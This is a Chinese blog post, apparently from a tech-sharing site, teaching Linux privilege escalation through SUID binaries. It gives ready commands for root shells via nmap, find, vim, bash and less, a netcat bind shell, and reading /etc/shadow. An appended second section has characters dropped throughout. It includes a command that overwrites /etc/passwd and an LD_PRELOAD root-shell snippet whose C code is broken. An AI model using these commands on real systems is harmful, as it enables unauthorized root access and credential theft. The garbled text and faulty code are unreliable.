Linux提权————利用SUID提权

本文介绍了Linux系统中利用SUID权限进行提权的方法。详细列举了Nmap、Vim等常见工具的提权操作,并提供了具体的命令示例。

前言

今天给大家带来的是linux下的提权技巧。

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可用来提权的linux可行性的文件列表如下:

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

NMAP

较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

nmap -V

交互模式可以通过执行Nmap参数" interactive "

nmap --interactive

以下命令将提供一个提升的shell。

nmap> !sh
sh-3.2# whoami
root

也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。

exploit/unix/local/setuid_nmap

Find

如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

touch pentestlab
find pentestlab -exec whoami \;

大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

连接上去就会直接获取到一个Root权限的shell。

netcat 192.168.1.189 5555
id
cat /etc/shadow

VIM

Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

Bash

以下命令将以root权限打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(serv

Less

Less和More都执行以用来提权。

less /etc/passwd
!/bin/sh


获取到Root权限

参考资料

https://pentestlab.blog/2017/09/25/suid-executables/

http://blog.youkuaiyun.com/haofeifei6/article/details/11516753

威胁情报分析平台

最近在做一些威胁情报分析,apt攻击源分析中,发现了一个很好的平台,给大家推荐一下。

http://www.secange.com/2017/10/%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E5%88%86%E6%9E%90%E5%B9%B3%E5%8F%B0/

平台地址:http://www.vxcube.com

 

### SUID方法及其实现技巧 SUID(Set User ID upon execution)是一种Linux文件限标志,允许用户以文件所有者的身份执行该文件。如果某些具有SUID位设置的可执行文件存在漏洞,则可能被攻击者利用限。以下是几种常见的SUID方法及其技术细节: #### 1. **查找并分析带有SUID位的文件** 通过命令`find / -perm -u=s -type f 2>/dev/null`可以扫描整个文件系统,寻找设置了SUID位的二进制文件[^3]。这些文件通常用于特定功能的需求,但如果它们未经过充分的安全验证,可能会成为潜在的入口。 #### 2. **SUID配置不当** 当一个程序拥有SUID限却未能正确处理输入数据时,就可能存在安全隐患。例如,假设有一个名为`suid_example`的应用程序,它读取用户的输入并将之写入日志文件。如果此应用没有过滤特殊字符或者路径名中的斜杠 (`/`),那么攻击者可以通过精心构造输入覆盖重要文件的内容,甚至获取root shell访问限。 ```bash # 假设 suid_example 存在一个简单的字符串拼接错误 ./suid_example "$(echo 'malicious content' > /etc/passwd)" ``` 上述例子展示了如何滥用此类缺陷篡改关键系统资源。 #### 3. **$PATH变量劫持** 许多脚本依赖于环境变量 `$PATH` 来定位外部工具的位置。如果攻击者能够控制当前用户的 PATH 设置,并在其前面插入自定义目录,则他们可以在其中放置同名但恶意版本的标准实用程序。一旦受害者运行受影响的SUID程序,就会无意间调用了伪造版命令而非官方发行版本。 考虑下面这个场景: - 攻击者创建了一个假的 `ls` 工具放在 `/tmp/bin/ls` 中; - 将自己的临时目录加入到受害人的搜索顺序之前 (即 export PATH=/tmp/bin:$PATH ); - 当受害人尝试使用 ls 查看信息时实际上启动的是攻击者的特洛伊木马版本。 这种手法特别适用于那些直接嵌套其他子进程而不显式指定绝对路径名称的情况下的SUID程序。 #### 4. **动态链接库(LD_PRELOAD) 劫持** 除了传统的 $PATH 变量劫持外, 还有一种更隐蔽的方式叫做 LD_PRELOAD 注入法。这种方法涉及到了 Linux 下面的一个特性——允许开发者预先加载一些共享对象( .so 文件),即使是在别人的进程中也可以强行注入自定义行为逻辑进去 [^4]. 如果某个 SUID 应用信任了来自外界传来的参数或者是打开了不受保护的数据流接口的话 , 那么就可以借此机会完成进一步的操作链路构建. 举个简单实例说明这个问题的影响范围: ```c // evil.c #define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> void *malloc(size_t size){ void (*original_malloc)(size_t); char* command="/bin/bash"; original_malloc=dlsym(RTLD_NEXT,"malloc"); ((void*)original_malloc)(size); system(command); // Spawn a root shell. } ``` 编译之后得到 so 文件再配合合适的条件触发即可获得交互式的超级管理员会话窗口. --- ### 总结 以上列举了几种典型的基于 SUID 的本地手段以及相应的缓解措施建议。值得注意的是,在实际环境中应当定期审查服务器上的敏感限分配状况,并及时修补已知脆弱点所在之处以防患未然。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值